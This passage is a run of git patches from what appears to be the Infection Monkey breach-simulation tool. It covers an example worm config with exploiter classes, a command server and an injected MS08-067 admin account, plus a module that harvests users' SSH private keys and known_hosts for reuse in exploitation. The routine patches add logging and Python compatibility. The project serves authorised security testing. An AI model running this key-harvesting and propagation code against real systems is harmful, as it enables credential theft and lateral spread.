"TcpScanner", - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30 -} + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", + "ms08_067_remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "rdp_use_vbs_download": true, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "scanner_class": "TcpScanner", + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 200, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 7, + "victims_max_find": 30 +} \ No newline at end of file From 7656f448a53f27e83fc1d0915c7d5af3f1ee24ce Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 17 May 2018 15:11:38 +0300 Subject: [PATCH 50/92] Add python-dev as dependency Because we also build packages manually during the install that depend on python-dev --- monkey_island/deb-package/DEBIAN/control | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey_island/deb-package/DEBIAN/control index 2426feecb..2693afbd9 100644 --- a/monkey_island/deb-package/DEBIAN/control +++ b/monkey_island/deb-package/DEBIAN/control @@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com Priority: optional Version: 1.0 Description: Guardicore Infection Monkey Island installation package -Depends: openssl, python-pip +Depends: openssl, python-pip, python-dev From 53ec1f77ac903489088038be4eeeac84a696b5aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 17:41:30 +0300 Subject: [PATCH 51/92] changed tabs to 4 spaces --- infection_monkey/example.conf | 176 +++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index b3d2b6d57..1baed66f2 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,93 +1,93 @@ { - "command_servers": [ - "41.50.73.31:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - "" - ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "depth": 2, + "command_servers": [ + "41.50.73.31:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + "" + ], + "blocked_ips": [""], + "current_server": "41.50.73.31:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "ElasticFinger" - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "scanner_class": "TcpScanner", - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30 + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", + "ms08_067_remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "rdp_use_vbs_download": true, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "scanner_class": "TcpScanner", + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 200, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 7, + "victims_max_find": 30 } \ No newline at end of file From 13fa4fa6a46e8ca36d9584113ddb4c7d05741235 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 19:24:50 +0300 Subject: [PATCH 52/92] Added a logging system to the monkey_island module. Added a main function in main.py Inserted a few logs to test the log system --- monkey_island/cc/island_logger.py | 23 ++++++++++ .../cc/island_logger_default_config.json | 43 +++++++++++++++++++ monkey_island/cc/main.py | 17 ++++++-- monkey_island/cc/resources/local_run.py | 4 ++ 4 files changed, 83 insertions(+), 4 deletions(-) create mode 100644 monkey_island/cc/island_logger.py create mode 100644 monkey_island/cc/island_logger_default_config.json diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..655a6b998 --- /dev/null +++ b/monkey_island/cc/island_logger.py @@ -0,0 +1,23 @@ +import os +import json +import logging.config + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..020902dc8 --- /dev/null +++ b/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,43 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + }, + + "error_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "ERROR", + "formatter": "simple", + "filename": "errors.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler", "error_file_handler"] + } +} \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..41e2ba576 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -2,8 +2,8 @@ from __future__ import print_function # In python 2.7 import os import sys - import time +import logging BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: @@ -13,16 +13,21 @@ from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up +from cc.island_logger import json_setup_logging -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop + json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) + logger = logging.getLogger(__name__) + mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): - print('Waiting for MongoDB server') + logger.info('Waiting for MongoDB server') time.sleep(1) app = init_app(mongo_url) @@ -33,6 +38,10 @@ if __name__ == '__main__': ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) http_server.listen(env.get_island_port()) - print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + logger.info( + 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index c588eaf80..7b8965e1e 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +import logging +logger = logging.getLogger(__name__) def run_local_monkey(): import platform @@ -32,6 +34,7 @@ def run_local_monkey(): copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: + logger.error('Copy file failed', exc_info=True) return False, "Copy file failed: %s" % exc # run the monkey @@ -41,6 +44,7 @@ def run_local_monkey(): args = "".join(args) pid = subprocess.Popen(args, shell=True).pid except Exception as exc: + logger.error('popen failed', exc_info=True) return False, "popen failed: %s" % exc return True, "pis: %s" % pid From 60730db45d6cd1f16a9e3990cdbfa389079eec73 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 19:28:04 +0300 Subject: [PATCH 53/92] Fixed the example configuration file, it had a json syntax error. --- infection_monkey/example.conf | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..1baed66f2 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -3,9 +3,9 @@ "41.50.73.31:5000" ], "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], + "monkey.guardicore.com", + "www.google.com" + ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ "" @@ -36,15 +36,15 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter", + "SambaCryExploiter" ], "finger_classes": [ "SSHFinger", "PingScanner", "HTTPFinger", "SMBFinger", - "MySQLFinger" - "ElasticFinger", + "MySQLFinger", + "ElasticFinger" ], "max_iterations": 3, "monkey_log_path_windows": "%temp%\\~df1563.tmp", @@ -90,4 +90,4 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30 -} +} \ No newline at end of file From 0411811fe5b3bbc55602c58badd9c85466d5786a Mon Sep 17 00:00:00 2001 From: cclauss Date: Tue, 22 May 2018 10:13:18 +0200 Subject: [PATCH 54/92] from six import string_types, text_type, xrange (#128) * from six import string_types, text_type, xrange --- common/network/network_range.py | 3 ++- infection_monkey/monkey.py | 1 + infection_monkey/requirements.txt | 3 ++- monkey_island/cc/services/config.py | 3 ++- monkey_island/cc/services/report.py | 6 ++++-- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index 0173b5810..a2142ce0e 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -4,6 +4,7 @@ import struct from abc import ABCMeta, abstractmethod import ipaddress +from six import text_type __author__ = 'itamar' @@ -65,7 +66,7 @@ class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): super(CidrRange, self).__init__(shuffle=shuffle) self._cidr_range = cidr_range.strip() - self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) + self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False) def __repr__(self): return "" % (self._cidr_range,) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index b36569b78..8ad1baf8c 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -12,6 +12,7 @@ from control import ControlClient from model import DELAY_DELETE_CMD from network.firewall import app as firewall from network.network_scanner import NetworkScanner +from six.moves import xrange from system_info import SystemInfoCollector from system_singleton import SystemSingleton from windows_upgrader import WindowsUpgrader diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index bd7689886..d5c1455dd 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -10,8 +10,9 @@ odict paramiko psutil==3.4.2 PyInstaller +six ecdsa netifaces mock nose -ipaddress \ No newline at end of file +ipaddress diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..2ee29f3e9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -2,6 +2,7 @@ import copy import collections import functools from jsonschema import Draft4Validator, validators +from six import string_types from cc.database import mongo from cc.encryptor import encryptor @@ -978,7 +979,7 @@ class ConfigService: """ keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..902664d63 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,6 +1,8 @@ import ipaddress from enum import Enum +from six import text_type + from cc.database import mongo from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -282,7 +284,7 @@ class ReportService: return \ [ - ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network + ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network for network in network_info['data']['network_info']['networks'] ] @@ -295,7 +297,7 @@ class ReportService: monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) for subnet in monkey_subnets: for ip in island_ips: - if ipaddress.ip_address(unicode(ip)) in subnet: + if ipaddress.ip_address(text_type(ip)) in subnet: found_good_ip = True break if found_good_ip: From a6d2483f7b18085d692ca9d3962b632f8720fb37 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 18:54:10 +0300 Subject: [PATCH 55/92] Tested with windows and fixed all notes --- .../system_info/SSH_info_collector.py | 70 ++++++++++++------- .../system_info/linux_info_collector.py | 2 +- 2 files changed, 44 insertions(+), 28 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index d4bbddb15..808081795 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -14,24 +14,36 @@ class SSHCollector(object): SSH keys and known hosts collection module """ - default_dirs = ['/.ssh', '/'] + default_dirs = ['/.ssh/', '/'] @staticmethod def get_info(): + LOG.info("Started scanning for ssh keys") home_dirs = SSHCollector.get_home_dirs() ssh_info = SSHCollector.get_ssh_files(home_dirs) LOG.info("Scanned for ssh keys") return ssh_info + @staticmethod + def get_ssh_struct(name, home_dir): + """ + :return: SSH info struct with these fields: + name: username of user, for whom the keys belong + home_dir: users home directory + public_key: contents of *.pub file(public key) + private_key: contents of * file(private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + """ + return {'name': name, 'home_dir': home_dir, 'public_key': None, + 'private_key': None, 'known_hosts': None} + @staticmethod def get_home_dirs(): - home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, - 'private_key': None, 'known_hosts': None}] - for usr in pwd.getpwall(): - if usr[5].startswith('/home'): - ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, - 'private_key': None, 'known_hosts': None} - home_dirs.append(ssh_data) + root_dir = SSHCollector.get_ssh_struct('root', '/') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] + home_dirs.append(root_dir) return home_dirs @staticmethod @@ -41,28 +53,32 @@ class SSHCollector(object): for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: - os.chdir(path + directory) + current_path = path + directory # searching for public key - if glob.glob('*.pub'): - public = '/' + (glob.glob('*.pub')[0]) + if glob.glob(current_path+'*.pub'): + public = (glob.glob(current_path+'*.pub')[0]) + LOG.info("Found public key in %s" % public) try: - with open(path + directory + public) as f: + with open(public) as f: info['public_key'] = f.read() - private = public.split('.')[0] - except: + private = public.rsplit('.', 1)[0] + if os.path.exists(private): + try: + with open(private) as f: + info['private_key'] = f.read() + LOG.info("Found private key in %s" % private) + except (IOError, OSError): + pass + if os.path.exists(current_path + '/known_hosts'): + try: + with open(current_path + '/known_hosts') as f: + info['known_hosts'] = f.read() + LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + except (IOError, OSError): + pass + except (IOError, OSError): pass - if os.path.exists(path + directory + private): - try: - with open(path + directory + private) as f: - info['private_key'] = f.read() - except: - pass - if os.path.exists(path + directory + '/known_hosts'): - try: - with open(path + directory + '/known_hosts') as f: - info['known_hosts'] = f.read() - except: - pass - except: + except OSError: pass + usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index 556be812a..d80efff6a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -27,6 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() - self.info['ssh_info'].update(SSHCollector.get_info()) + self.info['ssh_info'] = SSHCollector.get_info() return self.info From e8b388482b9c04071ad2d0177841cff6d2e340e9 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 19:06:12 +0300 Subject: [PATCH 56/92] quick fix --- infection_monkey/system_info/SSH_info_collector.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 808081795..12ff7df02 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -80,5 +80,6 @@ class SSHCollector(object): pass except OSError: pass - usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] + usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] + or info['public_key']] return usr_info From ee835d51b009d87ceda98affe7f3e3830d395694 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 May 2018 15:22:27 +0300 Subject: [PATCH 57/92] Remove Monkey testing code, dead code as it is. --- infection_monkey/requirements.txt | 2 -- infection_monkey/test/__init__.py | 0 infection_monkey/test/config__test.py | 45 --------------------------- 3 files changed, 47 deletions(-) delete mode 100644 infection_monkey/test/__init__.py delete mode 100644 infection_monkey/test/config__test.py diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index d5c1455dd..8683987c4 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -13,6 +13,4 @@ PyInstaller six ecdsa netifaces -mock -nose ipaddress diff --git a/infection_monkey/test/__init__.py b/infection_monkey/test/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/infection_monkey/test/config__test.py b/infection_monkey/test/config__test.py deleted file mode 100644 index accdd5a49..000000000 --- a/infection_monkey/test/config__test.py +++ /dev/null @@ -1,45 +0,0 @@ -# -*- coding: UTF-8 -*- -# NOTE: Launch all tests with `nosetests` command from infection_monkey dir. - -import json -import unittest - -from mock import Mock, patch - -import control - -from config import GUID - - -class ReportConfigErrorTestCase(unittest.TestCase): - """ - When unknown config variable received form the island server, skip it and report config - error back to the server. - """ - - config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}})) - - def teardown(self): - patch.stopall() - - def test_config(self): - patch('control.requests.patch', Mock()).start() - patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start() - - # GIVEN the server with uknown config variable - patch('control.requests.get', Mock(return_value=self.config_response)).start() - - # WHEN monkey tries to load config from server - control.ControlClient.load_control_config() - - # THEN she reports config error back to the server - control.requests.patch.assert_called_once_with( - "https://127.0.0.1:123/api/monkey/%s" % GUID, - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=control.ControlClient.proxies) - - -if __name__ == '__main__': - unittest.main() From 4197ab12a39e184a3d68cac7de99c54cb1ed3d22 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 16:59:22 +0300 Subject: [PATCH 58/92] SSH keys are now encrypted and added to database --- infection_monkey/config.py | 1 + .../system_info/SSH_info_collector.py | 27 +++++++------ monkey_island/cc/resources/telemetry.py | 21 +++++++++- monkey_island/cc/services/config.py | 39 +++++++++++++++++-- 4 files changed, 71 insertions(+), 17 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..1f5fce4b1 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -251,6 +251,7 @@ class Configuration(object): exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] + exploit_ssh_keys = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12ff7df02..12244abac 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -1,6 +1,5 @@ import logging import pwd -import sys import os import glob @@ -36,13 +35,13 @@ class SSHCollector(object): possibly hashed) """ return {'name': name, 'home_dir': home_dir, 'public_key': None, - 'private_key': None, 'known_hosts': None} + 'private_key': None, 'known_hosts': None} @staticmethod def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct('root', '/') - home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() - if x.pw_dir.startswith('/home')] + root_dir = SSHCollector.get_ssh_struct('root', '') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] home_dirs.append(root_dir) return home_dirs @@ -54,14 +53,16 @@ class SSHCollector(object): if os.path.isdir(path + directory): try: current_path = path + directory - # searching for public key - if glob.glob(current_path+'*.pub'): - public = (glob.glob(current_path+'*.pub')[0]) + # Searching for public key + if glob.glob(os.path.join(current_path, '*.pub')): + # Getting first file in current path with .pub extension(public key) + public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) LOG.info("Found public key in %s" % public) try: with open(public) as f: info['public_key'] = f.read() - private = public.rsplit('.', 1)[0] + # By default private key has the same name as public, only without .pub + private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: @@ -69,11 +70,13 @@ class SSHCollector(object): LOG.info("Found private key in %s" % private) except (IOError, OSError): pass - if os.path.exists(current_path + '/known_hosts'): + # By default known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, 'known_hosts') + if os.path.exists(known_hosts): try: - with open(current_path + '/known_hosts') as f: + with open(known_hosts) as f: info['known_hosts'] = f.read() - LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass except (IOError, OSError): diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6095b0946..452a33818 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -167,6 +167,10 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -186,15 +190,20 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds): + def encrypt_system_info_creds(creds, ssh_info=None): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + if ssh_info: + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds): + def add_system_info_creds_to_config(creds, ssh_info=None): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -203,6 +212,14 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + if ssh_info: + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + + @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..2ffc990a9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import json from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -504,6 +505,13 @@ SCHEMA = { }, "default": [], "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "description": "List of SSH key pairs to use, when 